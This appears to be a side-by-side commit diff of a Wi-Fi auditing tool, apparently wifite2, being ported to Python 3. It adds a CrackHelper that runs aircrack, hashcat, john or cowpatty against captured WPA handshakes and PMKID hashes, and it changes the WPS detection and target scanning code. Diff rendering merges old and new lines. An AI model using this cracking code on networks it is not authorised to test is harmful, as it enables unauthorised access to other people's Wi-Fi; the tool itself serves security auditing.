target_bssid = 'A4:2B:8C:16:6B:3A' target_bssid = 'A4:2B:8C:16:6B:3A'
'''
from ..model.target import Target from ..model.target import Target
fields = [ fields = [
'A4:2B:8C:16:6B:3A', # BSSID 'A4:2B:8C:16:6B:3A', # BSSID
@@ -219,6 +226,5 @@ if __name__ == '__main__':
print('Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)) print('Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps))
assert targets[0].wps == True assert targets[0].wps == True
'''
print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid)) print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid))

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -14,9 +14,6 @@ class Wash(Dependency):
def __init__(self): def __init__(self):
pass pass
@staticmethod
def exists():
return Process.exists('wash')
@staticmethod @staticmethod
def check_for_wps_and_update_targets(capfile, targets): def check_for_wps_and_update_targets(capfile, targets):
@@ -38,20 +35,30 @@ class Wash(Dependency):
return return
# Find all BSSIDs # Find all BSSIDs
bssids = set() wps_bssids = set()
locked_bssids = set()
for line in lines.split('\n'): for line in lines.split('\n'):
try: try:
obj = json.loads(line) obj = json.loads(line)
bssid = obj['bssid'] bssid = obj['bssid']
locked = obj['wps_locked'] locked = obj['wps_locked']
if locked != True: if locked != True:
bssids.add(bssid) wps_bssids.add(bssid)
else:
locked_bssids.add(bssid)
except: except:
pass pass
# Update targets # Update targets
for t in targets: for t in targets:
t.wps = t.bssid.upper() in bssids target_bssid = t.bssid.upper()
if target_bssid in wps_bssids:
t.wps = True
elif target_bssid in locked_bssids:
t.wps = None
else:
t.wps = False
if __name__ == '__main__': if __name__ == '__main__':
test_file = './tests/files/contains_wps_network.cap' test_file = './tests/files/contains_wps_network.cap'

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import sys import sys
@@ -33,7 +33,7 @@ class Color(object):
''' '''
Prints text using colored format on same line. Prints text using colored format on same line.
Example: Example:
Color.p("{R}This text is red. {W} This text is white") Color.p('{R}This text is red. {W} This text is white')
''' '''
sys.stdout.write(Color.s(text)) sys.stdout.write(Color.s(text))
sys.stdout.flush() sys.stdout.flush()
@@ -62,7 +62,7 @@ class Color(object):
for (key,value) in Color.replacements.items(): for (key,value) in Color.replacements.items():
output = output.replace(key, value) output = output.replace(key, value)
for (key,value) in Color.colors.items(): for (key,value) in Color.colors.items():
output = output.replace("{%s}" % key, value) output = output.replace('{%s}' % key, value)
return output return output
@staticmethod @staticmethod
@@ -76,7 +76,8 @@ class Color(object):
def clear_entire_line(): def clear_entire_line():
import os import os
(rows, columns) = os.popen('stty size', 'r').read().split() (rows, columns) = os.popen('stty size', 'r').read().split()
Color.p("\r" + (" " * int(columns)) + "\r") Color.p('\r' + (' ' * int(columns)) + '\r')
@staticmethod @staticmethod
def pattack(attack_type, target, attack_name, progress): def pattack(attack_type, target, attack_name, progress):
@@ -86,13 +87,31 @@ class Color(object):
ESSID (Pwr) Attack_Type: Progress ESSID (Pwr) Attack_Type: Progress
e.g.: Router2G (23db) WEP replay attack: 102 IVs e.g.: Router2G (23db) WEP replay attack: 102 IVs
''' '''
essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}" essid = '{C}%s{W}' % target.essid if target.essid_known else '{O}unknown{W}'
Color.p("\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s " % ( Color.p('\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s ' % (
essid, target.power, attack_type, attack_name, progress)) essid, target.power, attack_type, attack_name, progress))
if __name__ == '__main__':
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done") @staticmethod
print(Color.s("{C}Testing{P}String{W}")) def pexception(exception):
Color.pl("{+} Good line") '''Prints an exception. Includes stack trace if necessary.'''
Color.pl("{!} Danger") Color.pl('\n{!} {R}Error: {O}%s' % str(exception))
from ..config import Configuration
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
if __name__ == '__main__':
Color.pl('{R}Testing{G}One{C}Two{P}Three{W}Done')
print(Color.s('{C}Testing{P}String{W}'))
Color.pl('{+} Good line')
Color.pl('{!} Danger')

View File

@@ -1,136 +1,267 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..config import Configuration
from ..model.handshake import Handshake
from ..model.wpa_result import CrackResultWPA
from ..model.pmkid_result import CrackResultPMKID
from ..util.process import Process from ..util.process import Process
from ..util.color import Color from ..util.color import Color
from ..util.input import raw_input from ..util.input import raw_input
from ..config import Configuration from ..tools.aircrack import Aircrack
from ..model.result import CrackResult from ..tools.cowpatty import Cowpatty
from ..tools.hashcat import Hashcat, HcxPcapTool
from ..tools.john import John
from datetime import datetime from datetime import datetime
import os import os
class CrackHandshake(object):
def __init__(self):
self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
handshake = self.choose_handshake() # TODO: Bring back the 'print' option, for easy copy/pasting. Just one-liners people can paste into terminal.
self.crack_handshake(handshake)
def crack_handshake(self, handshake): # TODO: Do not show handshake files that are in cracked.txt with a key (match on filename).
cap_file = handshake["handshake_file"]
bssid = handshake["bssid"]
Color.pl("\n Below are commands to crack the handshake {C}%s{W}:" % cap_file)
self.print_aircrack(cap_file, bssid)
self.print_pyrit(cap_file, bssid)
self.print_john(cap_file)
self.print_oclhashcat(cap_file)
Color.pl("")
# TODO: cowpatty, oclhashcat
def print_aircrack(self, cap_file, bssid): # TODO: --no-crack option while attacking targets (implies user will run --crack later)
Color.pl("")
if not Process.exists("aircrack-ng"): class CrackHelper:
Color.pl(" {R}aircrack-ng not found."); '''Manages handshake retrieval, selection, and running the cracking commands.'''
Color.pl(" {O}More info on installing {R}Aircrack{O} here: {C}https://www.aircrack-ng.org/downloads.html{W}");
TYPES = {
'4-WAY': '4-Way Handshake',
'PMKID': 'PMKID Hash'
}
@classmethod
def run(cls):
Configuration.initialize(False)
# Get wordlist
if not Configuration.wordlist:
Color.p('\n{+} Enter wordlist file to use for cracking: {G}')
Configuration.wordlist = raw_input()
if not os.path.exists(Configuration.wordlist):
Color.pl('{!} {R}Wordlist {O}%s{R} not found. Exiting.' % Configuration.wordlist)
return return
Color.pl(" {O}# AIRCRACK: CPU-based cracking. Slow.") Color.pl('')
Color.pl(" {G}aircrack-ng {W}-a {C}2 {W}-b {C}%s {W}-w {C}%s %s{W}" % (bssid, self.wordlist, cap_file))
def print_pyrit(self, cap_file, bssid):
Color.pl("")
if not Process.exists("pyrit"):
Color.pl(" {R}pyrit not found.");
Color.pl(" {O}More info on installing {R}Pyrit{O} here: {C}https://github.com/JPaulMora/Pyrit{W}");
return
Color.pl(" {O}# PYRIT: GPU-based cracking. Fast.")
Color.pl(" {G}pyrit {W}-b {C}%s {W}-i {C}%s {W}-r {C}%s {W}attack_passthrough{W}" % (bssid, self.wordlist, cap_file))
def print_john(self, cap_file):
Color.pl("")
if not Process.exists("john"):
Color.pl(" {R}john not found.");
Color.pl(" {O}More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}");
return
Color.pl(" {O}# JOHN: CPU or GPU-based cracking. Fast.")
Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
Color.pl(" {G}hccap2john {C}hccap.hccap {W}> {C}hccap.john{W}")
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist))
def print_oclhashcat(self, cap_file):
Color.pl("")
if not Process.exists("hashcat"):
Color.pl(" {R}hashcat {O}not found.");
Color.pl(" {O}More info on installing {R}hashcat{O} here: {C}https://hashcat.net/hashcat/");
return
Color.pl(" {O}# HASHCAT: GPU-based cracking. Fast.")
Color.pl(" {O}# See {C}https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 {O}for more info")
hccapx_file = "/tmp/generated.hccapx"
cap2hccapx = "/usr/lib/hashcat-utils/cap2hccapx.bin"
if os.path.exists(cap2hccapx):
Color.pl(" {G}%s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file))
else:
Color.pl(" {O}# Install hashcat-utils: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils")
Color.pl(" {C}cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file))
Color.pl(" {O}# OR visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
Color.pl(" {O}# Then click BROWSE -> %s -> CONVERT and save to %s" % (cap_file, hccapx_file))
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (hccapx_file, self.wordlist))
def choose_handshake(self):
hs_dir = Configuration.wpa_handshake_dir
Color.pl("{+} Listing captured handshakes from {C}%s{W}\n" % os.path.realpath(hs_dir))
handshakes = []
for hs_file in os.listdir(hs_dir):
if not hs_file.endswith('.cap') or hs_file.count("_") != 3:
continue
name, essid, bssid, date = hs_file.split("_")
if name != 'handshake':
continue
handshakes.append({
'essid': essid,
'bssid': bssid.replace('-', ':'),
'date': date.replace('.cap', '').replace('T', ' '),
'handshake_file': os.path.realpath(os.path.join(hs_dir, hs_file))
})
handshakes.sort(key=lambda x: x['date'], reverse=True)
# Get handshakes
handshakes = cls.get_handshakes()
if len(handshakes) == 0: if len(handshakes) == 0:
raise Exception("No handshakes found in %s" % os.path.realpath(hs_dir)) Color.pl('{!} {O}No handshakes found{W}')
return
# Handshakes Header hs_to_crack = cls.get_user_selection(handshakes)
max_essid_len = max(max([len(hs["essid"]) for hs in handshakes]), len('(truncated) ESSDID')) any_pmkid = any([hs['type'] == 'PMKID' for hs in hs_to_crack])
Color.p(" NUM")
Color.p(" " + "ESSID (truncated)".ljust(max_essid_len)) # Tools for cracking & their dependencies.
Color.p(" " + "BSSID".ljust(17)) available_tools = {
Color.p(" DATE CAPTURED\n") 'aircrack': [Aircrack],
Color.p(" ---") 'hashcat': [Hashcat, HcxPcapTool],
Color.p(" " + ("-" * max_essid_len)) 'john': [John, HcxPcapTool],
Color.p(" " + ("-" * 17)) 'cowpatty': [Cowpatty]
Color.p(" " + ("-" * 19) + "\n") }
# Print all handshakes # Identify missing tools
for idx, hs in enumerate(handshakes, start=1): missing_tools = []
bssid = hs["bssid"] for tool, dependencies in available_tools.items():
essid = hs["essid"] missing = [
date = hs["date"] dep for dep in dependencies
Color.p(" {G}%s{W}" % str(idx).rjust(3)) if not Process.exists(dep.dependency_name)
Color.p(" {C}%s{W}" % essid.ljust(max_essid_len)) ]
Color.p(" {O}%s{W}" % bssid) if len(missing) > 0:
Color.p(" {W}%s{W}\n" % date) available_tools.pop(tool)
# Get number from user missing_tools.append( (tool, missing) )
hs_index = raw_input(Color.s("\n{+} Select handshake num to crack ({G}1-%d{W}): " % len(handshakes)))
if not hs_index.isdigit(): if len(missing_tools) > 0:
raise ValueError("Handshake NUM must be numeric, got (%s)" % hs_index) Color.pl('\n{!} {O}Unavailable tools (install to enable):{W}')
hs_index = int(hs_index) for tool, deps in missing_tools:
if hs_index < 1 or hs_index > len(handshakes): dep_list = ', '.join([dep.dependency_name for dep in deps])
raise Exception("Handshake NUM must be between 1 and %d" % len(handshakes)) Color.pl(' {R}* {R}%s {W}({O}%s{W})' % (tool, dep_list))
Color.p('\n{+} Enter the {C}cracking tool{W} to use ({C}%s{W}): {G}' % (
'{W}, {C}'.join(available_tools.keys())))
tool_name = raw_input()
if tool_name not in available_tools:
Color.pl('{!} {R}"%s"{O} tool not found, defaulting to {C}aircrack{W}' % tool_name)
tool_name = 'aircrack'
elif any_pmkid and tool_name != 'hashcat':
Color.pl('{!} {O}Note: PMKID hashes will be cracked using {C}hashcat{W}')
try:
for hs in hs_to_crack:
cls.crack(hs, tool_name)
except KeyboardInterrupt:
Color.pl('\n{!} {O}Interrupted{W}')
@classmethod
def get_handshakes(cls):
handshakes = []
skipped_pmkid_files = 0
hs_dir = Configuration.wpa_handshake_dir
if not os.path.exists(hs_dir) or not os.path.isdir(hs_dir):
Color.pl('\n{!} {O}directory not found: {R}%s{W}' % hs_dir)
return []
Color.pl('\n{+} Listing captured handshakes from {C}%s{W}:\n' % os.path.abspath(hs_dir))
for hs_file in os.listdir(hs_dir):
if hs_file.count('_') != 3:
continue
if hs_file.endswith('.cap'):
# WPA Handshake
hs_type = '4-WAY'
elif hs_file.endswith('.16800'):
# PMKID hash
if not Process.exists('hashcat'):
skipped_pmkid_files += 1
continue
hs_type = 'PMKID'
else:
continue
name, essid, bssid, date = hs_file.split('_')
date = date.rsplit('.', 1)[0]
days,hours = date.split('T')
hours = hours.replace('-', ':')
date = '%s %s' % (days, hours)
handshake = {
'filename': os.path.join(hs_dir, hs_file),
'bssid': bssid.replace('-', ':'),
'essid': essid,
'date': date,
'type': hs_type
}
if hs_file.endswith('.cap'):
# WPA Handshake
handshake['type'] = '4-WAY'
elif hs_file.endswith('.16800'):
# PMKID hash
handshake['type'] = 'PMKID'
else:
continue
handshakes.append(handshake)
if skipped_pmkid_files > 0:
Color.pl('{!} {O}Skipping %d {R}*.16800{O} files because {R}hashcat{O} is missing.' % skipped_pmkid_files)
# Sort by Date (Descending)
return sorted(handshakes, key=lambda x: x.get('date'), reverse=True)
@classmethod
def print_handshakes(cls, handshakes):
# Header
max_essid_len = max([len(hs['essid']) for hs in handshakes] + [len('ESSID (truncated)')])
Color.p('{D} NUM')
Color.p(' ' + 'ESSID (truncated)'.ljust(max_essid_len))
Color.p(' ' + 'BSSID'.ljust(17))
Color.p(' ' + 'TYPE'.ljust(5))
Color.p(' ' + 'DATE CAPTURED\n')
Color.p(' ---')
Color.p(' ' + ('-' * max_essid_len))
Color.p(' ' + ('-' * 17))
Color.p(' ' + ('-' * 5))
Color.p(' ' + ('-' * 19) + '{W}\n')
# Handshakes
for index, handshake in enumerate(handshakes, start=1):
bssid = handshake['bssid']
date = handshake['date']
Color.p(' {G}%s{W}' % str(index).rjust(3))
Color.p(' {C}%s{W}' % handshake['essid'].ljust(max_essid_len))
Color.p(' {O}%s{W}' % handshake['bssid'].ljust(17))
Color.p(' {C}%s{W}' % handshake['type'].ljust(5))
Color.p(' {W}%s{W}\n' % handshake['date'])
@classmethod
def get_user_selection(cls, handshakes):
cls.print_handshakes(handshakes)
Color.p('{+} Select handshake(s) to crack ({G}%d{W}-{G}%d{W}, select multiple with {C},{W} or {C}-{W} or {C}all{W}): {G}' % (1, len(handshakes)))
choices = raw_input()
selection = []
for choice in choices.split(','):
if '-' in choice:
first, last = [int(x) for x in choice.split('-')]
for index in range(first, last + 1):
selection.append(handshakes[index-1])
elif choice.strip().lower() == 'all':
selection = handshakes[:]
break
elif [c.isdigit() for c in choice]:
index = int(choice)
selection.append(handshakes[index-1])
return selection
@classmethod
def crack(cls, hs, tool):
Color.pl('\n{+} Cracking {G}%s {C}%s{W} ({C}%s{W})' % (
cls.TYPES[hs['type']], hs['essid'], hs['bssid']))
if hs['type'] == 'PMKID':
crack_result = cls.crack_pmkid(hs, tool)
elif hs['type'] == '4-WAY':
crack_result = cls.crack_4way(hs, tool)
else:
raise ValueError('Cannot crack handshake: Type is not PMKID or 4-WAY. Handshake=%s' % hs)
if crack_result is None:
# Failed to crack
Color.pl('{!} {R}Failed to crack {O}%s{R} ({O}%s{R}): Passphrase not in dictionary' % (
hs['essid'], hs['bssid']))
else:
# Cracked, replace existing entry (if any), or add to
Color.pl('{+} {G}Cracked{W} {C}%s{W} ({C}%s{W}). Key: "{G}%s{W}"' % (
hs['essid'], hs['bssid'], crack_result.key))
crack_result.save()
@classmethod
def crack_4way(cls, hs, tool):
handshake = Handshake(hs['filename'],
bssid=hs['bssid'],
essid=hs['essid'])
try:
handshake.divine_bssid_and_essid()
except ValueError as e:
Color.pl('{!} {R}Error: {O}%s{W}' % e)
return None
if tool == 'aircrack':
key = Aircrack.crack_handshake(handshake, show_command=True)
elif tool == 'hashcat':
key = Hashcat.crack_handshake(handshake, show_command=True)
elif tool == 'john':
key = John.crack_handshake(handshake, show_command=True)
elif tool == 'cowpatty':
key = Cowpatty.crack_handshake(handshake, show_command=True)
if key is not None:
return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key)
else:
return None
@classmethod
def crack_pmkid(cls, hs, tool_name):
key = Hashcat.crack_pmkid(hs['filename'], verbose=True)
if key is not None:
return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key)
else:
return None
if __name__ == '__main__':
CrackHelper.run()
return handshakes[hs_index - 1]

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
# Fix for raw_input on python3: https://stackoverflow.com/a/7321970 # Fix for raw_input on python3: https://stackoverflow.com/a/7321970

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import time import time
@@ -29,11 +29,11 @@ class Process(object):
if type(command) is not str or ' ' in command or shell: if type(command) is not str or ' ' in command or shell:
shell = True shell = True
if Configuration.verbose > 1: if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing (Shell): {B}%s{W}" % command) Color.pe('\n {C}[?] {W} Executing (Shell): {B}%s{W}' % command)
else: else:
shell = False shell = False
if Configuration.verbose > 1: if Configuration.verbose > 1:
Color.pe("\n {C}[?]{W} Executing: {B}%s{W}" % command) Color.pe('\n {C}[?]{W} Executing: {B}%s{W}' % command)
pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell) pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell)
pid.wait() pid.wait()
@@ -45,9 +45,9 @@ class Process(object):
if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '': if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '':
Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(stdout.strip().split('\n'))) Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(stdout.strip().split('\n')))
if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '': if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '':
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(stderr.strip().split('\n'))) Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(stderr.strip().split('\n')))
return (stdout, stderr) return (stdout, stderr)
@@ -63,7 +63,7 @@ class Process(object):
return True return True
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0): def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0, stdin=PIPE):
''' Starts executing command ''' ''' Starts executing command '''
if type(command) is str: if type(command) is str:
@@ -73,7 +73,7 @@ class Process(object):
self.command = command self.command = command
if Configuration.verbose > 1: if Configuration.verbose > 1:
Color.pe("\n {C}[?] {W} Executing: {B}%s{W}" % ' '.join(command)) Color.pe('\n {C}[?] {W} Executing: {B}%s{W}' % ' '.join(command))
self.out = None self.out = None
self.err = None self.err = None
@@ -86,28 +86,31 @@ class Process(object):
self.start_time = time.time() self.start_time = time.time()
self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd, bufsize=bufsize) self.pid = Popen(command, stdout=sout, stderr=serr, stdin=stdin, cwd=cwd, bufsize=bufsize)
def __del__(self): def __del__(self):
''' '''
Ran when object is GC'd. Ran when object is GC'd.
If process is still running at this point, it should die. If process is still running at this point, it should die.
''' '''
try:
if self.pid and self.pid.poll() is None: if self.pid and self.pid.poll() is None:
self.interrupt() self.interrupt()
except AttributeError:
pass
def stdout(self): def stdout(self):
''' Waits for process to finish, returns stdout output ''' ''' Waits for process to finish, returns stdout output '''
self.get_output() self.get_output()
if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '': if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '':
Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(self.out.strip().split('\n'))) Color.pe('{P} [stdout] %s{W}' % '\n [stdout] '.join(self.out.strip().split('\n')))
return self.out return self.out
def stderr(self): def stderr(self):
''' Waits for process to finish, returns stderr output ''' ''' Waits for process to finish, returns stderr output '''
self.get_output() self.get_output()
if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '': if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '':
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(self.err.strip().split('\n'))) Color.pe('{P} [stderr] %s{W}' % '\n [stderr] '.join(self.err.strip().split('\n')))
return self.err return self.err
def stdoutln(self): def stdoutln(self):
@@ -116,6 +119,11 @@ class Process(object):
def stderrln(self): def stderrln(self):
return self.pid.stderr.readline() return self.pid.stderr.readline()
def stdin(self, text):
if self.pid.stdin:
self.pid.stdin.write(text.encode('utf-8'))
self.pid.stdin.flush()
def get_output(self): def get_output(self):
''' Waits for process to finish, sets stdout & stderr ''' ''' Waits for process to finish, sets stdout & stderr '''
if self.pid.poll() is None: if self.pid.poll() is None:
@@ -132,7 +140,7 @@ class Process(object):
return (self.out, self.err) return (self.out, self.err)
def poll(self): def poll(self):
''' Returns exit code if process is dead, otherwise "None" ''' ''' Returns exit code if process is dead, otherwise 'None' '''
return self.pid.poll() return self.pid.poll()
def wait(self): def wait(self):
@@ -177,23 +185,30 @@ class Process(object):
if __name__ == '__main__': if __name__ == '__main__':
Configuration.initialize(False)
p = Process('ls') p = Process('ls')
print(p.stdout(), p.stderr()) print(p.stdout())
print(p.stderr())
p.interrupt() p.interrupt()
# Calling as list of arguments # Calling as list of arguments
(out, err) = Process.call(['ls', '-lah']) (out, err) = Process.call(['ls', '-lah'])
print(out, err) print(out)
print(err)
print('\n---------------------\n') print('\n---------------------\n')
# Calling as string # Calling as string
(out, err) = Process.call('ls -l | head -2') (out, err) = Process.call('ls -l | head -2')
print(out, err) print(out)
print(err)
print('"reaver" exists:', Process.exists('reaver')) print('"reaver" exists: %s' % Process.exists('reaver'))
# Test on never-ending process # Test on never-ending process
p = Process('yes') p = Process('yes')
print('Running yes...')
time.sleep(1)
print('yes should stop now')
# After program loses reference to instance in 'p', process dies. # After program loses reference to instance in 'p', process dies.

View File

@@ -1,8 +1,8 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..tools.airodump import Airodump
from ..util.color import Color from ..util.color import Color
from ..tools.airodump import Airodump
from ..util.input import raw_input, xrange from ..util.input import raw_input, xrange
from ..model.target import Target from ..model.target import Target
from ..config import Configuration from ..config import Configuration
@@ -17,16 +17,18 @@ class Scanner(object):
def __init__(self): def __init__(self):
''' '''
Starts scan, prints as it goes. Scans for targets via Airodump.
Upon interrupt, sets 'targets'. Loops until scan is interrupted via user or config.
Note: Sets this object's `targets` attrbute (list[Target]) upon interruption.
''' '''
self.previous_target_count = 0 self.previous_target_count = 0
self.targets = [] self.targets = []
self.target = None # Specific target (based on ESSID/BSSID) self.target = None # Target specified by user (based on ESSID/BSSID)
max_scan_time = Configuration.scan_time
self.err_msg = None self.err_msg = None
Color.pl("")
# Loads airodump with interface/channel/etc from Configuration # Loads airodump with interface/channel/etc from Configuration
try: try:
with Airodump() as airodump: with Airodump() as airodump:
@@ -35,18 +37,15 @@ class Scanner(object):
while True: while True:
if airodump.pid.poll() is not None: if airodump.pid.poll() is not None:
# Airodump process died return # Airodump process died
self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % (airodump.pid.poll(), " ".join(airodump.pid.command))
raise KeyboardInterrupt
try: self.targets = airodump.get_targets(old_targets=self.targets)
self.targets = airodump.get_targets()
except Exception as e:
break
if self.found_target(): if self.found_target():
# We found the target we want return # We found the target we want
return
if airodump.pid.poll() is not None:
return # Airodump process died
for target in self.targets: for target in self.targets:
if target.bssid in airodump.decloaked_bssids: if target.bssid in airodump.decloaked_bssids:
@@ -55,40 +54,41 @@ class Scanner(object):
self.print_targets() self.print_targets()
target_count = len(self.targets) target_count = len(self.targets)
client_count = sum( client_count = sum(len(t.clients) for t in self.targets)
[len(t.clients)
for t in self.targets]) outline = '\r{+} Scanning'
outline = "\r{+} Scanning"
if airodump.decloaking: if airodump.decloaking:
outline += " & decloaking" outline += ' & decloaking'
outline += ". Found" outline += '. Found'
outline += " {G}%d{W} target(s)," % target_count outline += ' {G}%d{W} target(s),' % target_count
outline += " {G}%d{W} client(s)." % client_count outline += ' {G}%d{W} client(s).' % client_count
outline += " {O}Ctrl+C{W} when ready " outline += ' {O}Ctrl+C{W} when ready '
Color.clear_entire_line() Color.clear_entire_line()
Color.p(outline) Color.p(outline)
if Configuration.scan_time > 0 and time() > scan_start_time + Configuration.scan_time: if max_scan_time > 0 and time() > scan_start_time + max_scan_time:
return return
sleep(1) sleep(1)
except KeyboardInterrupt: except KeyboardInterrupt:
pass pass
def found_target(self): def found_target(self):
''' '''
Check if we discovered the target AP Detect if we found a target specified by the user (optional).
Returns: the Target if found, Sets this object's `target` attribute if found.
Otherwise None. Returns: True if target was specified and found, False otherwise.
''' '''
bssid = Configuration.target_bssid bssid = Configuration.target_bssid
essid = Configuration.target_essid essid = Configuration.target_essid
if bssid is None and essid is None: if bssid is None and essid is None:
return False return False # No specific target from user.
for target in self.targets: for target in self.targets:
if Configuration.wps_only and target.wps != True: if Configuration.wps_only and target.wps == False:
continue continue
if bssid and target.bssid and bssid.lower() == target.bssid.lower(): if bssid and target.bssid and bssid.lower() == target.bssid.lower():
self.target = target self.target = target
@@ -104,16 +104,15 @@ class Scanner(object):
return False return False
def print_targets(self): def print_targets(self):
''' '''Prints targets selection menu (1 target per row).'''
Prints targets to console
'''
if len(self.targets) == 0: if len(self.targets) == 0:
Color.p('\r') Color.p('\r')
return return
if self.previous_target_count > 0: if self.previous_target_count > 0:
# We need to "overwrite" the previous list of targets. # We need to 'overwrite' the previous list of targets.
if Configuration.verbose <= 1: if Configuration.verbose <= 1:
# Don't clear screen buffer in verbose mode. # Don't clear screen buffer in verbose mode.
if self.previous_target_count > len(self.targets) or \ if self.previous_target_count > len(self.targets) or \
@@ -126,13 +125,13 @@ class Scanner(object):
Process.call('clear') Process.call('clear')
else: else:
# We can fit the targets in the terminal without scrolling # We can fit the targets in the terminal without scrolling
# "Move" cursor up so we will print over the previous list # 'Move' cursor up so we will print over the previous list
Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count)) Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))
self.previous_target_count = len(self.targets) self.previous_target_count = len(self.targets)
# Overwrite the current line # Overwrite the current line
Color.p('\r') Color.p('\r{W}{D}')
# First row: columns # First row: columns
Color.p(' NUM') Color.p(' NUM')
@@ -146,7 +145,7 @@ class Scanner(object):
Color.p(' -------------------------') Color.p(' -------------------------')
if Configuration.show_bssids: if Configuration.show_bssids:
Color.p(' -----------------') Color.p(' -----------------')
Color.pl(' --- ---- ----- ---- ------') Color.pl(' --- ---- ----- ---- ------{W}')
# Remaining rows: targets # Remaining rows: targets
for idx, target in enumerate(self.targets, start=1): for idx, target in enumerate(self.targets, start=1):
@@ -167,7 +166,15 @@ class Scanner(object):
return int(columns) return int(columns)
def select_targets(self): def select_targets(self):
''' Asks user to select target(s) ''' '''
Returns list(target)
Either a specific target if user specified -bssid or --essid.
Otherwise, prompts user to select targets and returns the selection.
'''
if self.target:
# When user specifies a specific target
return [self.target]
if len(self.targets) == 0: if len(self.targets) == 0:
if self.err_msg is not None: if self.err_msg is not None:
@@ -177,13 +184,15 @@ class Scanner(object):
# 1. Link to wireless drivers wiki, # 1. Link to wireless drivers wiki,
# 2. How to check if your device supporst monitor mode, # 2. How to check if your device supporst monitor mode,
# 3. Provide airodump-ng command being executed. # 3. Provide airodump-ng command being executed.
raise Exception("No targets found." raise Exception('No targets found.'
+ " You may need to wait longer," + ' You may need to wait longer,'
+ " or you may have issues with your wifi card") + ' or you may have issues with your wifi card')
# Return all targets if user specified a wait time ('pillage').
if Configuration.scan_time > 0: if Configuration.scan_time > 0:
return self.targets return self.targets
# Ask user for targets.
self.print_targets() self.print_targets()
Color.clear_entire_line() Color.clear_entire_line()
@@ -210,12 +219,12 @@ class Scanner(object):
elif choice.isdigit(): elif choice.isdigit():
choice = int(choice) - 1 choice = int(choice) - 1
chosen_targets.append(self.targets[choice]) chosen_targets.append(self.targets[choice])
else:
pass
return chosen_targets return chosen_targets
if __name__ == '__main__': if __name__ == '__main__':
# Example displays targets and selects the appropriate one # 'Test' script will display targets and selects the appropriate one
Configuration.initialize() Configuration.initialize()
try: try:
s = Scanner() s = Scanner()
@@ -224,6 +233,6 @@ if __name__ == '__main__':
Color.pl('\r {!} {R}Error{W}: %s' % str(e)) Color.pl('\r {!} {R}Error{W}: %s' % str(e))
Configuration.exit_gracefully(0) Configuration.exit_gracefully(0)
for t in targets: for t in targets:
Color.pl(" {W}Selected: %s" % t) Color.pl(' {W}Selected: %s' % t)
Configuration.exit_gracefully(0) Configuration.exit_gracefully(0)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
